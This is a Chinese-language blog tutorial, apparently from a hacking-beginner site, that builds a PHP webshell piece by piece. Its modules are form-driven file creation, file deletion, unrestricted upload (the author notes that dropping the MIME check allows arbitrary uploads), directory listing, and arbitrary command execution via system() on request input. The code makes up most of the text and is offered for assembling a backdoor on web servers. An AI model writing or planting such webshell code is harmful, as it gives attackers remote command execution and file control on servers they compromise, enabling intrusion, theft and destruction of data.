本文原創作者:Laimooc
第一部分:前沿綜述
本次我主要寫了【文件的創建】、【文件的刪除】、【文件的上傳】、【目錄瀏覽】、【命令執行】小模塊,以及【組合的目錄瀏覽和文件刪除功能】的模塊:
實驗環境:
系統環境:winserver 12 r2 datacenter
腳本運行環境:PHP version7.0.24
第二部分:代碼編寫講解
【文件創建】
作者是借助form表單值傳遞,以及使用fopen和fwrite進行創建文件的。
具體的研究過程,我們結合代碼來說明:
<form method="" action=""> Filename:<inputtype="text" name="file" value="" />
這里我們是使用input標簽,設定name值(這個,我們后面的php腳本中需要使用的,需要記住):
我的代碼如下,大家請指導:
File_content:<inputtype="textarea" name="file_content"style="width:300px;" value="" />
這里我們是接受form表單傳遞你要寫的文件內容,有想深入的表格,可以對內容的寫入上做出一些編碼解碼等的操作
<input type="submit" name="submit" value="Create"> 這里是提交按鈕 </form> <?php error_reporting(0); //這里我們設置了錯誤等級為0 $filename=$_REQUEST['file']; //這里接受我們的文件名字 $file_content=$_REQUEST['file_content']; //這里接受我們的文件內容 $myfile =fopen($filename, "a") ; //這里打開你事先設定的文件,如果沒有會創建一個新的(由寫入屬性a a+ w w+ r r+ ab ab+等控制) fwrite($myfile,$file_content); //這里執行fwrite函數寫入內容 fclose($myfile); //關閉寫入的文件 ?>
【文件刪除】
下面是我們的刪除文件代碼,依然是借助了form表單,這樣主要是為了操作起來方便,不用form表單也可以操作,只是比較麻煩(get或者post請求等)
代碼如下:
<form method="" action=""> Filename:<inputtype="text" name="delfile" value=""> <inputtype="submit" name="submit" value="delete"> </form> form表單的意思同上述我們闡述的意思,不再介紹,不懂的同學,可以下方留言給我,第一時間必回復 <?php error_reporting(0); //刪除文件 $delfile=$_REQUEST['delfile']; if(!isset($delfile)){ exit;//判斷是否設定了delfile } else{ if (!unlink($delfile)) { echo ("Error delete $delfile"); //如果沒有權限等其他原因文件未刪除時候的信息 } else { echo ("Deleted $file"); //刪除成功的返回 } } /* 使用方法:finame中輸入1.txt 表示當前文件夾下的文件,可以輸入指定文件夾中的文件如:/upload/1.txt ,即可。 刪除成功的話:返回Deleted fiel 失敗的話返回ErrorDelete。。。 */ ?>
【文件上傳】
文件的上傳,這個是大家應該比較多見的了,文件類型的限制啦、存儲等(如果作大馬的話,當然是任意文件上傳啦),不再詳細的解釋直接展示一下代碼,如果大家有什么不懂之處也可以在下方留言給我:
代碼如下:
<form action="" method="post" enctype="multipart/form-data" /> <label for="userfile">Upload file</label> <input type="file" name="file" id="file"/> <input type="submit" value="send file"/> </form> <?php error_reporting(0); //設置允許上傳的mime類型,直接刪除下面一段代碼的話,則是任意文件上傳 if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "text/plain") || ($_FILES["file"]["type"] == "application/octet-stream"))) { if ($_FILES["file"]["error"] > 0) { echo "Return Code: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />";//獲取文件名稱 echo "Type: " . $_FILES["file"]["type"] . "<br />"; //獲取文件類型 echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";//獲取文件大小 echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";//文件上傳時的暫存目錄 //判斷文件是否已經存在 if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { //從緩存目錄move文件到要上傳的目錄 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; } } } else { exit; } ?>
【目錄瀏覽】
文件的瀏覽,我還沒有仔細的研究,有深入研究的朋友,可以在下方回復代碼哇,一起進(fei)步(sheng),我的代碼比較垃圾:我直接指定了要遍歷的文件目錄,在編寫的過程中,我發現如果目錄不存在的話,會直接瀏覽器占用資源崩潰!!!
<?php error_reporting(0); header("Content-type:text/html; charset=utf8"); //讀取指定目錄 upload $current_dir='upload'; $dir =opendir($current_dir); echo '本文件:',dirname(__FILE__),'\\',basename(__FILE__),'<br/>'; //echo '當前文件:',__FILE__ ,'<br/>' ; while(false !==($file = readdir($dir))){ if($file != "." &&$file !=".."){ echo"<li>$file</li>"; } } closedir($dir); ?> 此外,參考了別人的dir()函數和getcwd(),覺得挺不錯的,可以結合使用,大家可以改造一下。 <?php $d =dir(getcwd()); echo "Handle:" . $d->handle . "<br>"; echo "Path:" . $d->path . "<br>"; while (($file =$d->read()) !== false){ echo "filename: " . $file ."<br>"; } $d->close(); ?>
【命令執行】
命令執行,這是一個好玩的東西,php給了我們一些直接可以執行系統命令的函數: exec()、passthru()、system()、 shell_exec() 還有一個神奇的:反引號。
反引號,聽起來尬不?
我的研究是使用system進行執行命令的,然后結合form表單進行值傳遞,主要還是為了表單的美觀:
代碼如下:
<form method="" action=""> Command:<input type="text"name="exec" value=""> <input type="submit"name="submit" value="exec"> </form> <?php error_reporting(0); $exec = $_REQUEST['exec']; //接收form表單傳遞過來的命令 system($exec);//可以替換為其他的執行函數 ?>
【組合的目錄瀏覽和文件刪除功能】
本小節是為了拋磚引玉,整體的變幻構造組合等,需要大家共同努力,直接展示一下代碼:
代碼如下:
<?php error_reporting(0); header("Content-type: text/html; charset=utf8"); //讀取指定目錄 upload $current_dir ='upload'; $dir = opendir($current_dir); echo '本文件:',dirname(__FILE__) ,'\\',basename(__FILE__),'<br/>'; //echo '當前文件:',__FILE__ ,'<br/>' ; while(false !== ($file = readdir($dir))){ if($file != "." && $file !=".."){ echo "<li>$file</li>"; } } closedir($dir); ?> <form method="" action=""> Filename:<input type="text" name="delfile" value=""> <input type="submit" name="submit" value="delete"> </form> <?php //刪除文件 $delfile=$_REQUEST['delfile']; if(!isset($delfile)){ exit; } else{ if (!unlink($delfile)) { echo ("Error deleting $delfile"); } else { echo ("Deleted $file"); } } ?>
第三部分:文章總結
本次研究是繼雙十一之夜,睡不着覺,就來發了一篇文章,希望得到大家的指導,路過請留言,一帶一路。
附件回原文下載<<<<<<<<
>>>>>>黑客入門必備技能 帶你入坑,和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農葯都好玩!